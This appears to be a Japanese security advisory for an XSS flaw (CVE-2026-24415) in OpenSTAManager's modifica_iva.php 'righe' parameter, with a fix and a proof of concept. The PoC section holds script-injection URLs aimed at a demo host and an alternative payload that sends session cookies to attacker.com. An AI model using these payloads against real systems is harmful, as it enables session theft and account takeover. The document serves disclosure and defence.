CVE-2026-24415: modifica_iva.php の righe パラメータを介した OpenSTAManager の XSS 脆弱性

概要

影響を受ける製品

• devcode-it/openstamanager (バージョン: < 2.9.8)

CWE 分類

• CWE-79: Webページ生成時の入力の不適切な無害化（'クロスサイトスクリプティング'）

詳細

概要

OpenSTAManager v2.9.8 には複数の反射型クロスサイトスクリプティング（XSS）脆弱性が存在し、認証されていない攻撃者が細工した URL パラメータを介して、他のユーザーのブラウザコンテキストで任意の JavaScript コードを実行できる可能性があります。これにより、セッションハイジャック、認証情報の窃取、不正な操作につながる可能性があります。

脆弱なパラメータ: righe (GET)

詳細

OpenSTAManager v2.9.8 には、請求書・注文・契約の修正モーダルに複数の反射型 XSS 脆弱性が存在します。このアプリケーションは、righe GET パラメータから提供されたユーザー入力を HTML 出力に反映する前に適切にサニタイズしていません。

脆弱なコードの場所: ファイル: /modules/contratti/modals/modifica_iva.php (125 行目)

<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">

$_GET['righe'] パラメータは、htmlspecialchars() などの関数によるサニタイズを行わずに、HTML の value 属性に直接出力されます。これにより、攻撃者は属性コンテキストから脱出して、任意の HTML/JavaScript を注入できます。

影響を受けるすべてのファイル:

1. /modules/contratti/modals/modifica_iva.php - 125 行目、167 行目
2. /modules/preventivi/modals/modifica_iva.php - 125 行目、167 行目
3. /modules/fatture/modals/modifica_iva.php - 121 行目、161 行目
4. /modules/ddt/modals/modifica_iva.php - 125 行目、167 行目
5. /modules/ordini/modals/modifica_iva.php - 125 行目、167 行目
6. /modules/interventi/modals/modifica_iva.php - 125 行目、167 行目

PoC

前提条件:

• 実行中の OpenSTAManager v2.9.8 インスタンス
• 有効な管理者認証情報（テストインスタンスの場合: ユーザー名 admin、パスワード admin）

ステップ 1: ログイン

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

ステップ 2: XSS のトリガー ブラウザで次の URL にアクセスします（または Cookie を指定した curl を使用します）:

http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>

テスト済み URL（すべて脆弱）:

• https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>

期待される結果: 現在のセッション Cookie を表示する JavaScript アラートのポップアップが表示され、コードの実行が確認されます。

HTML 出力（実稼働インスタンスで検証済み）:

<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">

検証:

代替ペイロード: セッション窃取: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>

影響

影響を受けるユーザー: 契約、請求書、見積書、または注文モジュールにアクセスできるすべての認証済みユーザー。

攻撃シナリオ:

1. 攻撃者が XSS ペイロードを含む悪意のある URL を細工する
2. 攻撃者がメール/チャット/フィッシングを介して被害者に URL を送信する
3. 被害者（認証済みユーザー）がリンクをクリックする
4. 被害者のブラウザコンテキストで悪意のある JavaScript が実行される
5. 攻撃者は以下を実行できる:
   • セッション Cookie を窃取する → アカウントの完全乗っ取り
   • 被害者に代わって操作を実行する（レコードの作成/変更/削除）
   • CSRF トークンを窃取し、CSRF 保護を回避する
   • フィッシングページにリダイレクトする
   • 機密データを取得するキーロガーを注入する
   • ページコンテンツを改ざんしてユーザーに認証情報を入力させる

推奨される修正:

<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">

この修正を「詳細」セクションに記載されているすべての影響を受けるファイルに適用してください。

参考情報

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j
• https://nvd.nist.gov/vuln/detail/CVE-2026-24415
• https://github.com/advisories/GHSA-jfgp-g7x7-j25j

免責事項

この CVE は、協調的脆弱性開示の慣行に従って責任を持って開示されました。ここに記載されている情報は、教育目的および防御目的のためにのみ提供されています。